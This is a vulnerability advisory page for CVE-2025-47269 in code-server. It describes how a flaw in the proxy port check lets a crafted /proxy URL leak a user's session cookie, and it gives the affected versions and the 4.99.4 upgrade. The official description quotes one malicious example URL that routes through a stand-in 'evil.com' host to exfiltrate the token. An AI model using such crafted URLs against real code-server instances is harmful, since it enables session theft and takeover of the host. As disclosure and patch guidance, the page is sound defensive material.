Patchfirst
CVE-2025-47269 High · 8.3 EPSS 56.3%

code-server session cookie can be extracted by having user visit specially crafted proxy URL

Fix:upgrade code-server to 4.99.4 or later Details ↓

coder · code-server

Summary

The code-server product (from coder) has a flaw in its built-in proxy handling, where the port is not properly validated, letting a crafted /proxy URL redirect requests to an arbitrary domain and thereby expose the user's session cookie. An unauthenticated remote attacker can exploit this by getting a user who runs code-server with the built-in proxy enabled to click a maliciously crafted link, after which the attacker can use the stolen session token to log into code-server and gain full access to the host as the user running it.

Official description · CVE.org

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Breakdown
25.6 / 100
Exploited
Not confirmed
Reports
0
Tactics
0/15

Disclosed on 9 May 2025. No public exploit code or confirmed exploitation is recorded.

2 related vulnerabilities in the same code over 2 years.

Linked vulnerabilitiesLinked by evidence that a fix failed or the same code was patched again. Oldest first.

  1. CVE-2023-26114Versions of the package code-server before 4.10.1 are vulnerable…23 Mar 2023
  2. relatedMedium

    Why these are linked:

    This CVECVE-2025-47269code-server session cookie can be extracted by having user visit…9 May 2025

Affected versions and fixes

as published in the CVE record

coder code-server

Affected: < 4.99.4

Am I affected? What do I upgrade to?

From GitHub Security Advisories and OSV

1 package in 1 ecosystem. Main package: code-server.

npmcode-serverGHSA-p483-wpfp-42cj

Upgrade to 4.99.4 or later

npmnpm install code-server@4.99.4

The first fix for CVE-2025-47269. No other CVE tracked by Patchfirst affects this package.

Affected versions

If you runUpgrade to
All versions before 4.99.44.99.4

“Up to” means the second version is the fix and is not affected.

Check your lockfile against all CVEs

References

3 links, grouped by NVD tag
↑ ↓ chooseEnter openEsc close